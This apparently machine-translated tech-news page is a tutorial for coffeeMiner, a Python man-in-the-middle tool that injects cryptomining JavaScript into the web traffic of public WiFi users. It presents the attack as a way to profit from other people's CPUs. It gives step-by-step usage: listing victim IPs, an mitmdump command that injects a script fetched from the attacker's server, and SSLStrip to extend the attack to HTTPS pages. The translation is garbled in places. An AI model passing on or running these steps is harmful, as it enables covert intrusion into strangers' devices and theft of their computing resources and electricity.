In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-09-20 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >
Share
Shulou(Shulou.com)06/02 Report--
Python how to use public WiFi mining, many novices are not very clear about this, in order to help you solve this problem, the following editor will explain for you in detail, people with this need can come to learn, I hope you can gain something.
What is mining? As long as you join the mining pool and provide a certain amount of math, you can make a profit. For example, in the poolin mining pool, the daily income of 1TH calculation is 1.15 yuan. If you have a 16TH mining machine, the daily income is 1.15 yuan, 16 yuan, 18.4 yuan. Of course, the net profit is excluding the cost of electricity. But the cost of mining machine can not be ignored, the price of a brand new 16TH mining machine is about 3000 yuan, and the second-hand machine is close to 1000 yuan. If you buy a used mining machine from 16TH, it will take you nearly 54 days to get your money back. It would be very comfortable to "borrow" the math power of others for mining. So, a developer in Spain named Arnault thought, can we use the public wifi network for mining?
This is the use of coffeeMiner scripts, which use the principle of man-in-the-middle attacks to inject HTML code similar to the following into non-HTTPS web pages.
Once the script is loaded, it executes the java code on the server, turns the machine into a miner, extracts CPU time, and uses mining software to mine a cryptocurrency named Monero.
The drawback, however, is that requests to HTTPS pages don't work, and SSLStrip can make up for this. The whole script is written by Python, if you are interested, you can visit this project: coffeeMiner
A simple tutorial for using the project:
1. Execute the installation script: install.sh
Bash install.sh
two。 Edit victims.txt, one IP per line
3. Edit coffeeMiner.py, line 28, and change 10.0.2.20 to the IP of your miner's server:
Os.system ("~ / .local/bin/mitmdump-s' injector.py http://10.0.2.20:8000/script.js'-T")
4. Execute coffeeMiner.py
Python3 coffeeMiner.py ipgateway
Is it helpful for you to read the above content? If you want to know more about the relevant knowledge or read more related articles, please follow the industry information channel, thank you for your support.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
The market share of Chrome browser on the desktop has exceeded 70%, and users are complaining about
The world's first 2nm mobile chip: Samsung Exynos 2600 is ready for mass production.According to a r
A US federal judge has ruled that Google can keep its Chrome browser, but it will be prohibited from
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
About us Contact us Product review car news thenatureplanet
More Form oMedia: AutoTimes. Bestcoffee. SL News. Jarebook. Coffee Hunters. Sundaily. Modezone. NNB. Coffee. Game News. FrontStreet. GGAMEN
© 2024 shulou.com SLNews company. All rights reserved.